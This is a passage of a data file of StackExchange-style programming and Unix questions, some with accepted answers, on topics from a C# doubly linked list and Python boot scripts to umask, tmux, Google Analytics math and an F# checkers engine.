ex.GetType());        }        dll.Push(i1);        dll.Push(i2);        dll.Push(i3);        dll.Clear();        Assert.AreEqual(dll.MoveFirst(), false);        stack.Clear();        stack.Push(i3);        stack.Push(i2);        stack.Push(i1);        foreach (int value in stack)        {            dll.Push(value);            Assert.AreEqual(dll.Peek(), value);        }        IDoublyLinkedList<int> dllInterface = dll;        dllInterface.Reset();        Assert.AreEqual(dllInterface.MovePrevious(), false);        Assert.AreEqual(dllInterface.Current, default(int));        Assert.AreEqual(dllInterface.CurrentIndex, -1);        Assert.AreEqual(dllInterface.MoveNext(), true);        Assert.AreEqual(dllInterface.Current, i1);        Assert.AreEqual(dllInterface.CurrentIndex, 0);        Assert.AreEqual(dllInterface.MoveNext(), true);        Assert.AreEqual(dllInterface.Current, i2);        Assert.AreEqual(dllInterface.CurrentIndex, 1);        Assert.AreEqual(dllInterface.MoveNext(), true);        Assert.AreEqual(dllInterface.Current, i3);        Assert.AreEqual(dllInterface.CurrentIndex, 2);        Assert.AreEqual(dllInterface.MoveFirst(), true);        Assert.AreEqual(dllInterface.Current, i1);        Assert.AreEqual(dllInterface.CurrentIndex, 0);        Assert.AreEqual(dllInterface.MoveLast(), true);        Assert.AreEqual(dllInterface.Current, i3);        Assert.AreEqual(dllInterface.CurrentIndex, 2);        Assert.AreEqual(dllInterface.MovePrevious(), true);        Assert.AreEqual(dllInterface.Current, i2);        Assert.AreEqual(dllInterface.CurrentIndex, 1);        Assert.AreEqual(dllInterface.MovePrevious(), true);        Assert.AreEqual(dllInterface.Current, i1);        Assert.AreEqual(dllInterface.CurrentIndex, 0);        Assert.AreEqual(dllInterface.MovePrevious(), true);        Assert.AreEqual(dllInterface.Current, default(int));        Assert.AreEqual(dllInterface.CurrentIndex, -1);    }    [TestMethod]    public void TestReferenceMethod()    {        DoublyLinkedList<object> dll = new DoublyLinkedList<object>();        object o1 = new object();        object o2 = new object();        object o3 = new object();        Assert.AreEqual(((IDoublyLinkedList<object>)dll).Index, -1);        try        {            dll.Peek();        }        catch (Exception ex)        {            Assert.AreEqual(typeof(InvalidOperationException), ex.GetType());        }        using (IEnumerator<object> dllEnumerator = dll.GetEnumerator())        {            Assert.AreEqual(dll.MoveLast(), false);            Assert.AreEqual(dll.MovePrevious(), false);            Assert.AreEqual(dllEnumerator.MoveNext(), false);            Assert.AreEqual(dllEnumerator.Current, default(object));            Assert.AreEqual(dll.Count, 0);            Assert.AreEqual(dll.CurrentIndex, -1);            try            {                dll.Pop();            }            catch (Exception ex)            {                Assert.AreEqual(typeof(InvalidOperationException), ex.GetType());            }            dll.Add(o1);            dll.MovePrevious();            try            {                dll.Remove();            }            catch (Exception ex)            {                Assert.AreEqual(typeof(InvalidOperationException), ex.GetType());            }            dll.MoveLast();            Assert.AreEqual(dllEnumerator.MoveNext(), true);            Assert.AreEqual(dllEnumerator.Current, o1);            Assert.AreEqual(dll.Count, 1);            Assert.AreEqual(dll.CurrentIndex, 0);            dll.Add(o2);            Assert.AreEqual(dllEnumerator.MoveNext(), true);            Assert.AreEqual(dllEnumerator.Current, o2);            Assert.AreEqual(dll.Count, 2);            Assert.AreEqual(dll.CurrentIndex, 1);            dll.MoveFirst();            try            {                dll.Add(o1);            }            catch (Exception ex)            {                Assert.AreEqual(typeof(InvalidOperationException), ex.GetType());            }            dll.MoveLast();            dll.Add(o3);            Assert.AreEqual(dllEnumerator.MoveNext(), true);            Assert.AreEqual(dllEnumerator.Current, o3);            Assert.AreEqual(dll.Count, 3);            Assert.AreEqual(dll.CurrentIndex, 2);        }        IEnumerator o = ((IEnumerable)dll).GetEnumerator();        o.MoveNext();        Assert.AreEqual(o.Current, o1);        List<object> list = new List<object>();        dll.CopyTo(list);        Assert.AreEqual(dll.ToList().Except(list).Count(), 0);        Assert.AreEqual(list.Except(dll).Count(), 0);        Assert.AreEqual(list.Count, 3);        Assert.AreEqual(list[0], o1);        Assert.AreEqual(list[1], o2);        Assert.AreEqual(list[2], o3);        using (IEnumerator<object> dllEnumerator = dll.GetEnumerator())        {            if (dll.Count > 0)            {                dll.Remove();            }            Assert.AreEqual(dllEnumerator.MoveNext(), true);            Assert.AreEqual(dllEnumerator.Current, o1);            if (dll.Count > 0)            {                dll.Remove();            }            Assert.AreEqual(dllEnumerator.MoveNext(), false);            if (dll.Count > 0)            {                dll.Remove();            }        }        try        {            dll.Remove();        }        catch (Exception ex)        {            Assert.AreEqual(typeof(InvalidOperationException), ex.GetType());        }        dll.AddRange(list);        try        {            dll.AddRange(null);        }        catch (Exception ex)        {            Assert.AreEqual(typeof(ArgumentNullException), ex.GetType());        }        try        {            dll.MoveFirst();            dll.AddRange(list);        }        catch (Exception ex)        {            Assert.AreEqual(typeof(InvalidOperationException), ex.GetType());        }        Assert.AreEqual(dll.Contains(o1), true);        Assert.AreEqual(dll.Contains(o2), true);        Assert.AreEqual(dll.Contains(o3), true);        Assert.AreEqual(dll.Contains(default(object)), false);        using (IEnumerator<object> dllEnumerator = dll.GetEnumerator())        {            Assert.AreEqual(dllEnumerator.MoveNext(), true);            Assert.AreEqual(dllEnumerator.Current, o1);            Assert.AreEqual(dllEnumerator.MoveNext(), true);            Assert.AreEqual(dllEnumerator.Current, o2);            Assert.AreEqual(dllEnumerator.MoveNext(), true);            Assert.AreEqual(dllEnumerator.Current, o3);        }        Stack<object> stack = new Stack<object>();        stack.Push(o3);        stack.Push(o2);        stack.Push(o1);        foreach (object value in dll)        {            Assert.AreEqual(stack.Pop(), value);        }        try        {            object value = default(object);            while ((value = dll.Pop()) != default(object))            {                stack.Push(value);            }        }        catch (Exception ex)        {            Assert.AreEqual(typeof(InvalidOperationException), ex.GetType());        }        dll.Push(o1);        dll.Push(o2);        dll.Push(o3);        dll.Clear();        Assert.AreEqual(dll.MoveFirst(), false);        stack.Clear();        stack.Push(o3);        stack.Push(o2);        stack.Push(o1);        foreach (object value in stack)        {            dll.Push(value);            Assert.AreEqual(dll.Peek(), value);        }        IDoublyLinkedList<object> dllInterface = dll;        dllInterface.Reset();        Assert.AreEqual(dllInterface.MovePrevious(), false);        Assert.AreEqual(dllInterface.Current, default(object));        Assert.AreEqual(dllInterface.CurrentIndex, -1);        Assert.AreEqual(dllInterface.MoveNext(), true);        Assert.AreEqual(dllInterface.Current, o1);        Assert.AreEqual(dllInterface.CurrentIndex, 0);        Assert.AreEqual(dllInterface.MoveNext(), true);        Assert.AreEqual(dllInterface.Current, o2);        Assert.AreEqual(dllInterface.CurrentIndex, 1);        Assert.AreEqual(dllInterface.MoveNext(), true);        Assert.AreEqual(dllInterface.Current, o3);        Assert.AreEqual(dllInterface.CurrentIndex, 2);        Assert.AreEqual(dllInterface.MoveFirst(), true);        Assert.AreEqual(dllInterface.Current, o1);        Assert.AreEqual(dllInterface.CurrentIndex, 0);        Assert.AreEqual(dllInterface.MoveLast(), true);        Assert.AreEqual(dllInterface.Current, o3);        Assert.AreEqual(dllInterface.CurrentIndex, 2);        Assert.AreEqual(dllInterface.MovePrevious(), true);        Assert.AreEqual(dllInterface.Current, o2);        Assert.AreEqual(dllInterface.CurrentIndex, 1);        Assert.AreEqual(dllInterface.MovePrevious(), true);        Assert.AreEqual(dllInterface.Current, o1);        Assert.AreEqual(dllInterface.CurrentIndex, 0);        Assert.AreEqual(dllInterface.MovePrevious(), true);        Assert.AreEqual(dllInterface.Current, default(object));        Assert.AreEqual(dllInterface.CurrentIndex, -1);                }}Source code:public interface IDoublyLinkedList<T> : IEnumerator<T>, IEnumerable<T>, IEnumerator, IEnumerable, IDisposable{    void Add(T value);    void AddRange(IEnumerable<T> values);    bool Contains(T item);    void Remove();    bool MoveFirst();    bool MovePrevious();    bool MoveLast();    void CopyTo(List<T> list);    List<T> ToList();    void Clear();    T Pop();    T Peek();    void Push(T value);    int Count { get; }    int Index { get; }    int CurrentIndex { get; }}public class DoublyLinkedList<T> : IDoublyLinkedList<T>{    private DoublyLinkedList<T> _current;    private DoublyLinkedList<T> _previous;    private DoublyLinkedList<T> _first;    private DoublyLinkedList<T> _last;    private readonly T _value;    private readonly int _count;    public DoublyLinkedList()    {        _current = this;    }    private DoublyLinkedList(DoublyLinkedList<T> copy)    {        _current = copy;        _previous = copy._previous;        _first = copy._first;        _last = copy._last;        _count = copy._count;    }    public int Count    {        get        {            lock (_current)            {                if (_last != null)                {                    return _last._count;                }                return 0;            }        }    }    public int Index    {        get        {            lock (_current)            {                return _count - 1;            }        }    }    public int CurrentIndex    {        get        {            lock (_current)            {                return _current._count - 1;            }        }    }    private DoublyLinkedList(DoublyLinkedList<T> previous, T value)    {        _current = this;        _previous = previous;        _value = value;        _count = previous._count + 1;    }    public void Clear()    {        _current = this;        _previous = null;        _first = null;        _last = null;    }    public bool Contains(T item)    {        lock (_current)        {            foreach (T value in this)            {                if (object.Equals(value, item))                    return true;            }            return false;        }    }    public void CopyTo(List<T> list)    {        lock (_current)        {            list.AddRange(this);        }    }    public List<T> ToList()    {        lock (_current)        {            return new List<T>(this);        }    }    public void AddRange(IEnumerable<T> values)    {        lock (_current)        {            if (values != null)            {                if (_current._first == null)                {                    foreach (T value in values)                    {                        _current._first = new DoublyLinkedList<T>(_current, value);                        _current = _current._first;                    }                    _last = _current;                    return;                }                throw new InvalidOperationException();            }            throw new ArgumentNullException();        }    }    public void Add(T value)    {        lock (_current)        {            if (_current._first == null)            {                _current._first = new DoublyLinkedList<T>(_current, value);                _last = _current = _current._first;                return;            }            throw new InvalidOperationException();        }    }    public void Remove()    {        lock (_current)        {            if (_current._first == null)            {                if (_current._previous != null)                {                    _last = _current = _current._previous;                    _current._first = null;                    return;                }                throw new InvalidOperationException();            }            throw new InvalidOperationException();        }    }    public T Pop()    {        lock (_current)        {            if (_last != null)            {                _current = _last;            }            if (_current._previous != null)            {                T value = _current._value;                _last = _current = _current._previous;                _current._first = null;                return value;            }            throw new InvalidOperationException();        }    }    public T Peek()    {        lock (_current)        {            if (_last != null)            {                _current = _last;            }            if (_current._previous != null)            {                T value = _current._value;                return value;            }            throw new InvalidOperationException();        }    }    public void Push(T value)    {        lock (_current)        {            if (_last != null)            {                _current = _last;            }            _current._first = new DoublyLinkedList<T>(_current, value);            _last = _current = _current._first;        }    }    public bool MoveFirst()    {        lock (_current)        {            if (_first != null)            {                _current = _first;                return true;            }            return false;        }    }    public bool MoveLast()    {        lock (_current)        {            if (_last != null)            {                _current = _last;                return true;            }            return false;        }    }    public bool MovePrevious()    {        lock (_current)        {            if (_current._previous != null)            {                _current = _current._previous;                return true;            }            return false;        }    }    T IEnumerator<T>.Current    {        get        {            lock (_current)            {                return _current._value;            }        }    }    public IEnumerator<T> GetEnumerator()    {        lock (_current)        {            return new DoublyLinkedList<T>(this);        }    }    bool IEnumerator.MoveNext()    {        lock (_current)        {            if (_current._first != null)            {                _current = _current._first;                return true;            }            return false;        }    }    object IEnumerator.Current    {        get        {            lock (_current)            {                return _current._value;            }        }    }    void IEnumerator.Reset()    {        lock (_current)        {            _current = this;        }    }    IEnumerator IEnumerable.GetEnumerator()    {        lock (_current)        {            return new DoublyLinkedList<T>(this);        }    }    void IDisposable.Dispose()    {    }}"  , "title": "Comparing DoublyLinkedList implementation performance with other BCL (.NET) classes"  , "tags": "c#;.net;performance"  } 
{  "id": "_unix.352465"  , "question": "I have the following script:#! /usr/bin/pythonimport glibimport reimport subprocessimport requestsimport bs4import datetimeimport sysimport osimport timefrom selenium import webdriverfrom pyudev import Context, Monitorfrom selenium.common.exceptions import NoSuchElementExceptiondef demote():    def result():        os.setgid(100)        os.setuid(1000)    return resultdef inotify(title, message):    subprocess.call(['notify-send', '{}\\n'.format(title), '{0}\\n'.format(message)], preexec_fn=demote())    #os.system('notify-send ' + title + ' ' + message)def get_network_data(tout):    Scrapes balance data from ISP website.    if tout is not None:        try:        # Do some scraping            if data_found:                full_msg = '{0}\\n{1}'.format(my_balance.capitalize(), airtime_balance.capitalize())                inotify('My Balance', full_msg)                #subprocess.call(['notify-send', 'My Balance', '\\n{0}\\n{1}'.format(my_balance.capitalize(), airtime_balance.capitalize())], preexec_fn=demote())            else:                print('Could not retrieve data from page...')                full_msg = '{0}'.format('Error: Could not retrieve data from page.')                inotify('My Balance', full_msg)                #subprocess.call(['notify-send', 'My Balance', '\\n{0}'.format('Error: Could not retrieve data from page.')], preexec_fn=demote())        except NoSuchElementException:            print('Could not locate element...')            full_msg = '{0}'.format('Error: Could not locate element - acc.')            inotify('My Balance', full_msg)            #subprocess.call(['notify-send', 'iMonitor:get_network_data', '\\n{0}'.format('Error: Could not locate element - acc.')], preexec_fn=demote())    else:        print('Could not find USB device...')        full_msg = '\\n{0}'.format('Error: Could not find USB device.')        inotify('My Balance', full_msg)        #subprocess.call(['notify-send', 'iMonitor', '\\n{0}'.format('Error: Could not find USB device.')], preexec_fn=demote())def identify_phone(observer, device):    Identifies if specific USB device (phone) is connected (tethered).    global last_updated, initial_search, msg_count    current_time = datetime.datetime.now()    time_diff = current_time - last_updated    if (time_diff.seconds > 300) or initial_search:        try:            time.sleep(0.25)            tout = subprocess.check_output(lsusb | grep 1234:5678, shell=True)        except subprocess.CalledProcessError:            tout = None        last_updated = datetime.datetime.now()        initial_search = False        get_network_data(tout)    if time_diff.seconds > 10:        msg_count = 1    if not initial_search and msg_count == 1:        wait_time = datetime.datetime.fromtimestamp(600 - time_diff.seconds)        message = wait_time.strftime('You may have to wait %-M minute(s), %-S second(s) before another check is done.')        print('Could not retrieve data from page...')        full_msg = '\\n{0}'.format(message)        inotify('My Balance', full_msg)        #subprocess.call(['notify-send', 'iMonitor:Identify Phone', '\\n{0}'.format(message)], preexec_fn=demote())        msg_count += 1try:    initial_search = True    last_updated = datetime.datetime.now()    msg_count = 1    try:        from pyudev.glib import MonitorObserver    except ImportError:        from pyudev.glib import GUDevMonitorObserver as MonitorObserver    context = Context()    monitor = Monitor.from_netlink(context)    monitor.filter_by(subsystem='usb')    observer = MonitorObserver(monitor)    observer.connect('device-added', identify_phone)    monitor.start()    glib.MainLoop().run()except KeyboardInterrupt:    print('\\nShutdown requested.\\nExiting gracefully...')    sys.exit(0)I would like it to run overy boot, thus, I have created a service at /etc/systemd/system which does the calling of the script. However, as the script is meant to display a desktop notification, I haven't managed to make this work since it runs as root; that is despite the fact that I have changed the guid and uid. Any help would be appreciated.KDE Plasma Version 5.5.5"  , "title": "How to run a Python script on every boot?"  , "tags": "python;opensuse"  } 
{  "id": "_unix.360321"  , "question": "I learnt that there was a command cloc to count lines of code. Now I wonder if it the file types are accurate? Should I look a the cloc project to know how file types are detected? The reason I wonder is that cloc seems to have false positives if I'm not mistaken when I compare the file types to the tree|ls *.py there is no output even though cloc reports python files in the current directory. "  , "title": "Statistics for project filestypes"  , "tags": "tree"  } 
{  "id": "_softwareengineering.317254"  , "question": "At my company, we're building an SDK consisting of a number of assemblies. For example, we deliver an assembly called Company.Platform.Security that contains the implementation of our authorization model.Now, this assembly contains code that talks to other services over HTTPS. It therefore needs to discover where those services live and needs to log the interactions and any errors that result from it.So the same SDK, contains assemblies called Company.Platform.Logging, Company.Platform.ServiceDiscovery etc. These assemblies expose interfaces called Company.Platform.Logging.ILogging and Company.Platform.ServiceDiscovery.IServiceDiscovery respectively.Now my question is, should the classes in Company.Platform.Security take these interfaces as dependencies in their constructors? Or should Company.Platform.Security define its own Company.Platform.Security.Interfaces.ILogging and Company.Platform.Security.Interfaces.IServiceDiscovery interface and take objects implementing those in the constructor of its classes?The latter makes the assembly more cohesive IMO as it protects it against changes in those interfaces (which may or may not be maintained by other team members or teams). But a lot of concrete classes will just be very simple adapter classes for the classes in the other assemblies. It might also make the system more complex.What are valid arguments for either approach?"  , "title": "Sdk building, declare dependencies inside the assembly or use external?"  , "tags": "c#;design;dependencies;microservices;sdk"  } 
{  "id": "_webmaster.17641"  , "question": "According to Google Analytics, a particular page has 97710 page views. This page has an exit rate of 57.82% and a bounce rate of 64.4%. According to the Navigation Summary page, 91.76% of page visits were entrances, and 8.24% came from previous pages.From the page views and entrance rate, I calculate the number of direct entrances as:.9176 * 97710 = 89659and from that, I calculate the number of bounces as:.644 * 89659 = 57740This seems reasonable. Then, from the exit rate and the number of page views, I calculate the number of exits as:.5782 * 97710 = 56496This too seems like a reasonable number...but then I saw that the number of bounces (57740) > the number of total exits (56496)!I've read about what exactly bounce rate and exit rate are, and I've looked at a few examples online where people showed examples of how to calculate bounce and exit rates. Does anyone see anything wrong with my math? Or do I misunderstand how Analytics works?"  , "title": "How can I have more bounces than exits in Google Analytics?"  , "tags": "google analytics;bounce rate"  , "accepted_answer": "the data is correct, your math is too. the only difference on why you get a discrepancy of 1244 is because you are calculating with only 2 decimal numbers.if for example your real bounce rate is 91.7653% (and not 91.76% flat) that would result in 89659 direct entrances.917653 * 97710 = 89663.644353 * 89663 = 57774and so forthalso your total exit rate can be smaller than your bounce rate. for example visitors could time out on your site and hence a new session is made without accounting for an exit ..."  } 
{  "id": "_unix.199399"  , "question": "I'm trying to list all the files with names no longer than 250 characters (including the directory it is part of, from the relative path my command is inside).I've seen a similar thread  , but that will only list the files recursively. Any idea on how to modify script to only show files with names no longer than 250 characters (including the relative path)?"  , "title": "List files recursively in Linux CLI with path relative to the current directory, max 250 char"  , "tags": "files;find;recursive"  } 
{  "id": "_webmaster.23465"  , "question": "Okay, so I checked the page rank again, and http://www.namhost.com's page rank is now 4. But I get this warning:Google Pagerank for: http://www.namhost.com  4/10Pagerank is valid!Attention! This domain has a very little quality backlinks and you run the risk of the domain losing it's page rank on the next Google pagerank update!I used: http://www.checkpagerank.netI then used a few other checkers: http://www.whatsmypagerank.com/pagerank-checker.phpThis one found my page rank to be zero. So my questions arewhich one is correct?why are they different?should I attempt get rid of the +- 40 000 BAD backlinks I have, or should I focus my efforts on getting 40 000 GOOD backlinks ? i.e. Will the good backlinks trump the badlinks (copyright pending)?"  , "title": "Page Rank not showing correctly everywhere?"  , "tags": "seo;pagerank"  } 
{  "id": "_codereview.134410"  , "question": "Original Problem: HackerRankI am trying to count the number of inversions using Binary Indexed Tree in an array. I've tried to optimise my code as much as I can. However, I still got TLE for the last 3 test cases. Any ideas that I can further optimise my code?# Enter your code here. Read input from STDIN. Print output to STDOUT#!/usr/bin/pythonfrom copy import deepcopyclass BinaryIndexedTree(object):    Binary Indexed Tree        def __init__(self, n):        self.n = n + 1        self.bit = [0] * self.n    def update(self, i, k):        Adds k to element with index i                while  i <= self.n - 1:            self.bit[i] += k            i = i + (i & -i)    def count(self, i):        Returns the sum from index 1 to i                total = 0        while i > 0:            total += self.bit[i]            i = i - (i & -i)        return totaldef binary_search(arr, target):    Binary Search        left, right = 0, len(arr) - 1    while left <= right:        mid = left + ((right - left) >> 1)        if target == arr[mid]:            return mid        elif target < arr[mid]:            right = mid - 1        else:            left = mid + 1    # If not found, return -1.    return -1T = input()for iterate in xrange(T):    n = input()    q = [ int( i ) for i in raw_input().strip().split() ]    answer = 0    # Write code to compute answer using x, a and answer    # Build a Binary Indexed Tree.    bit = BinaryIndexedTree(n)    # Copy q and sort it.    arr = sorted(deepcopy(q))    # index array.    index = map(lambda t: binary_search(arr, t) + 1, q)    # Loop.    for i in xrange(n - 1, -1, -1):        answer += bit.count(index[i])        bit.update(index[i] + 1, 1)    print answer"  , "title": "Count the number of inversions using Binary Indexed Tree in an array"  , "tags": "python;algorithm;programming challenge;time limit exceeded"  } 
{  "id": "_vi.11373"  , "question": "Like most programmers, I perform a lot of repetitive tasks. In optimising my workflow, I'm taking some of those repetitive tasks, and refactoring them into shell scripts.One thing that I'm trying to automate is the recreation of PostgreSQL views. I have the following view.create or replace view person asselect    1 as person_id    , 'John'::text as first_name,    'Doe'::text as last_name;I can dump this view with psql -c \\\\d+ person and the output is as follows:                   View public.person   Column   |  Type   | Modifiers | Storage  | Description ------------+---------+-----------+----------+------------- person_id  | integer |           | plain    |  first_name | text    |           | extended |  last_name  | text    |           | extended | View definition: SELECT 1 AS person_id,    'John'::text AS first_name,    'Doe'::text AS last_name;I can reformat this text into a CREATE OR REPLACE VIEW statement with the following keystrokes in vim: gg0dfiCREATE OR REPLACE VIEW <ESC>$cl AS<ESC>j0d/^View definition:<CR>ddG$:wq (I've reformatted <ESC>, etc, in the above).I've got the above working perfectly, except for the screen flashes that occur. For example, if at the shell I type a=$(psql -c \\\\d+ person | vim -s <vimscriptfile> -); echo $a then my screen flashes before outputting the nicely format SQL.Is there any way to remove this flash? Or is there a better using-vim-in-a-pipeline approach than what I'm employing?"  , "title": "How can you use vim as a stream editor?"  , "tags": "vimscript;bash"  } 
{  "id": "_unix.84669"  , "question": "If I am not wrong, this is how umask is calculated.for dir,  777 - 022(root's umask value) = 755.for file, 666 - 022(root's umask value) = 644.Now, where this umask value is defined? Is it the /etc/bashrc file?. If so, then what is the file /etc/login.defs for?My /etc/login.defs file says 077 as umask - what does this mean?Also where is cmask defined?The umask can be changed using umask command, but that is temporary. Right?If I have to make it permanent, I can edit .bashrc file in my home dir and append umask value to it.Also, say I am root and I want to set a specific umask for all other users, how to do that?"  , "title": "Umask for root and other system users"  , "tags": "umask"  } 
{  "id": "_unix.140780"  , "question": "I've just connected to a Linux terminal using an ssh client. I'm running Linux on both desktops, but cannot open PDFs, IDE, or other graphics from the ssh client. How can I fix this?"  , "title": "Cannot open GUI's via SSH connection?"  , "tags": "ssh;x11;gui"  } 
{  "id": "_unix.3329"  , "question": "What's the best way to run a command inside a screen session such that its parent shell can be accessed?  I want to be able to restart it from within the same screen session.The best I've managed to come up with is the following:$ cat mr-t.sh #!/bin/bashtopexec /bin/bashand then:screen -e'^\\\\\\' -S top-in-screen ./mr-t.shThen, if top stops running, I'll at least get a new shell within the same screen session I can work with.  This isn't very elegant, though, and I can't quite convince myself that the signal will reliably be sent to the right process if I hit C-c.  Moreover, C-z doesn't work at all.I'm using bash 3.2.48 on OSX and 3.2.39 on Linux.  Both are probably patched by OS vendors.There's nothing special about the top command here, of course.[As an aside, -e'^\\\\\\' reassigns the Magick Screen Key from C-a (a bad default if there ever was one) to C-\\.]"  , "title": "How to run a command inside screen such that you can get back to the command's parent shell?"  , "tags": "gnu screen"  , "accepted_answer": "Since asking this question, I've adopted a different but much more effective solution: use tmux.Start a new named, detached session:$ tmux new -d -s topSend a command to its zeroth window.$ tmux send-keys -t top:0 top C-mC-m is equivalent to hitting return. Often it's what you want; sometimes you'll want to leave it out.tmux' command set is well-documented. So it's easy to write far more complicated scripts to drive it.Normally this would be an extremely obnoxious answer, but since it's my question I'll allow myself some leeway, especially since I never really got any of the other methods to work reliably. In contrast, I was able to script tmux correctly the first time I tried to."  } 
{  "id": "_unix.312297"  , "question": "I have a file with many numbers in it (only numbers and each number is in one line). I want to find out the number of lines in which the number is greater than 100 (or infact anything else). How can I do that?  "  , "title": "Counting the number of lines having a number greater than 100"  , "tags": "sed;awk;grep"  } 
{  "id": "_cstheory.3401"  , "question": "Given a term t : x.y.((x = 0)  x = S(y)) in Martin-Lof's type theory, what's the value of w(t(0)), where w is the operator that extracts the witness of a term of existential type?"  , "title": "What happens if we try to extract a witness but it actually does not exist from a term of existential type?"  , "tags": "lo.logic;type theory;proof theory"  , "accepted_answer": "Any value. It depends upon which $t$ you are given. A term of type $\\exists y.(\\neg(0 = 0) \\Rightarrow 0 = S(y))$ is a pair of an int $y$ and a function that takes a proof of $\\neg(0=0)$ and gives you a proof of $0 = S(y)$. You can use a term of type $\\neg(0 = 0)$ and type $0 = 0$ (from reflexivity) to derive a term of any type you want. This includes a term of type $0 = S(0)$, $0 = S(1)$, $\\ldots$. So, you can make $y$ any integer you want."  } 
{  "id": "_unix.134679"  , "question": "In OS X, if you want to view the ACL information on a file, you can do so with the -e option of `ls.$ ls -lde app/cachedrwxrwxr-x+ 7 alanstorm  staff  238 Apr  1 10:02 app/cache 0: user:alanstorm allow add_file,delete,add_subdirectory,file_inherit,directory_inherit 1: user:root allow add_file,delete,add_subdirectory,file_inherit,directory_inherit 2: user:_www allow add_file,delete,add_subdirectory,file_inherit,directory_inheritWhat's the format of the individual ACE lines? Is this documented anywhere?  I couldn't find anything in the chmod or ls man pages, and most internet articles did a lot of and there's your ACL/ACE entries hand waving once they taught you the -e option.  I can start to guess at the meanings the last column is obviously the individual permissions, the first is either a user or group, etc., but I don't know what the meaning of allow/deny is in OS X ACL talk, and I don't know if the 0, 1, 2 carry any semantic meaning, and (most importantly) I don't know what else I don't know. For example, there's an inherited column that shows up if a file's inherited permissions0: user:alanstorm allow add_file,delete,add_subdirectory,file_inherit,directory_inherit vs.0: user:alanstorm inherited allow add_file,delete,add_subdirectory,file_inherit,directory_inherit This screws up straight whitespace parsing, and I'd like to know if there's other places where stuff like this pops up.If anyone here could help clear up the individual questions I have about column 1 and column 3, or more generally describe the format, I'd appreciated it.Long time unix user here, but I'm not really up to speed on ACL stuff.  Bitmasks, chmod, pry from my cold dead hand, etc. "  , "title": "OSX/Darwin ACL Format"  , "tags": "osx;acl;darwin"  } 
{  "id": "_codereview.150652"  , "question": "This is the third question in the series.  Number 1 had most of the official two-player rules implemented, and Number 2 was the basic UI.  This one has the complete two-player rules implemented, an AI using minimax with alpha-beta pruning.  All suggestions welcome, especially those that help me program in a more functionally and more cleanly.Checkers.fs contains my basic types:module public Checkers.Typestype Player = Black | Whitetype PieceType = Checker | Kingtype Coord = { Row :int; Column :int }let offset c1 c2 =        { Row = c1.Row + c2.Row; Column = c1.Column + c2.Column }type Move = Coord Listtype MoveTree = { Move :Move; Parent :Option<MoveTree>; Children :Option<List<MoveTree>> }type internal AlphaBetaMove = { Alpha :float Option; Beta :float Option; Move :Move }Piece.fs contains the information on a piece:module public Checkers.Pieceopen Checkers.Typestype Piece = { Player :Player; PieceType :PieceType }let Promote piece = { Player = piece.Player; PieceType = King }let whiteChecker = Some <| { Player = White; PieceType = Checker }let whiteKing = Some <| { Player = White; PieceType = King }let blackChecker = Some <| { Player = Black; PieceType = Checker }let blackKing = Some <| { Player = Black; PieceType = King }Board.fs contains a type alias and some helper methods:module public Checkers.Boardopen Checkers.Typesopen Checkers.Pieceopen System.Collections.Generictype Board = Piece option list listlet square (coord :Coord) = List.item coord.Row >> List.item coord.Columnlet rowFromSeq (value :'a seq) =    Some (List.ofSeq value)let listFromSeq (value :'a seq seq) =    List.ofSeq (Seq.choose rowFromSeq value)let defaultBoard =     [        List.replicate 4 [None; blackChecker] |> List.concat        List.replicate 4 [blackChecker; None] |> List.concat        List.replicate 4 [None; blackChecker] |> List.concat        List.replicate 8 None        List.replicate 8 None        List.replicate 4 [whiteChecker; None] |> List.concat        List.replicate 4 [None; whiteChecker] |> List.concat        List.replicate 4 [whiteChecker; None] |> List.concat    ]FSharpExtensions.fs contains a few functions that will be used by all the variants:module internal Checkers.FSharpExtensionsopen Checkersopen Checkers.Typesopen Systemlet internal getJumpedCoord startCoord endCoord =    { Row = startCoord.Row - Math.Sign(startCoord.Row - endCoord.Row); Column = startCoord.Column - Math.Sign(startCoord.Column - endCoord.Column) }let internal moveIsDiagonal startCoord endCoord =    startCoord <> endCoord &&    System.Math.Abs(startCoord.Row - endCoord.Row) = System.Math.Abs(startCoord.Column - endCoord.Column)let internal otherPlayer player =    match player with    | White -> Black    | Black -> WhiteAmericanCheckers.fs contains the logic for American Checkers (or English Draughts, if you prefer):module internal Checkers.Variants.AmericanCheckersopen Checkers.Typesopen Checkers.Pieceopen Checkers.Boardopen Checkers.FSharpExtensionsopen Systemopen System.Collections.Generic[<Literal>]let Rows = 7[<Literal>]let Columns = 7let internal kingRowIndex(player) =    match player with    | Player.Black -> Rows    | Player.White -> 0let internal coordExists coord =    coord.Row >= 0 && coord.Row <= Rows &&    coord.Column >= 0 && coord.Column <= Columnslet internal checkMoveDirection piece startCoord endCoord =    match piece.PieceType with    | PieceType.Checker ->        match piece.Player with        | Player.Black -> startCoord.Row < endCoord.Row        | Player.White -> startCoord.Row > endCoord.Row    | PieceType.King -> truelet internal isValidCheckerHop startCoord endCoord (board :Board) =    let piece = (square startCoord board).Value    checkMoveDirection piece startCoord endCoord &&    (square endCoord board).IsNonelet internal isValidKingHop endCoord (board :Board) =    (square endCoord board).IsNonelet internal isValidCheckerJump startCoord endCoord (board :Board) =    let piece = (square startCoord board).Value    let jumpedCoord = getJumpedCoord startCoord endCoord    let jumpedPiece = square jumpedCoord board    checkMoveDirection piece startCoord endCoord &&    (square endCoord board).IsNone &&    jumpedPiece.IsSome &&    jumpedPiece.Value.Player <> piece.Playerlet internal isValidKingJump startCoord endCoord (board :Board) =    let piece = (square startCoord board).Value    let jumpedCoord = getJumpedCoord startCoord endCoord    let jumpedPiece = square jumpedCoord board    (square endCoord board).IsNone &&    jumpedPiece.IsSome &&    jumpedPiece.Value.Player <> piece.Playerlet internal isValidHop startCoord endCoord (board :Board) =    match (square startCoord board).Value.PieceType with    | PieceType.Checker -> isValidCheckerHop startCoord endCoord board    | PieceType.King -> isValidKingHop endCoord boardlet internal isValidJump startCoord endCoord (board :Board) =    match (square startCoord board).Value.PieceType with    | PieceType.Checker -> isValidCheckerJump startCoord endCoord board    | PieceType.King -> isValidKingJump startCoord endCoord boardlet internal hasValidHop startCoord (board :Board) =    let hopCoords =        [            offset startCoord {Row = -1; Column = 1};            offset startCoord {Row = -1; Column = -1};            offset startCoord {Row = 1; Column = 1};            offset startCoord {Row = 1; Column = -1}        ]    let flattenedList = seq {        for coord in hopCoords do        yield coordExists coord && isValidHop startCoord coord board }    flattenedList |> Seq.exists idlet internal hasValidJump startCoord (board :Board) =    let jumpCoords =        [            offset startCoord {Row = -2; Column = 2};            offset startCoord {Row = -2; Column = -2};            offset startCoord {Row = 2; Column = 2};            offset startCoord {Row = 2; Column = -2}        ]    let flattenedList = seq {        for coord in jumpCoords do        yield coordExists coord && isValidJump startCoord coord board 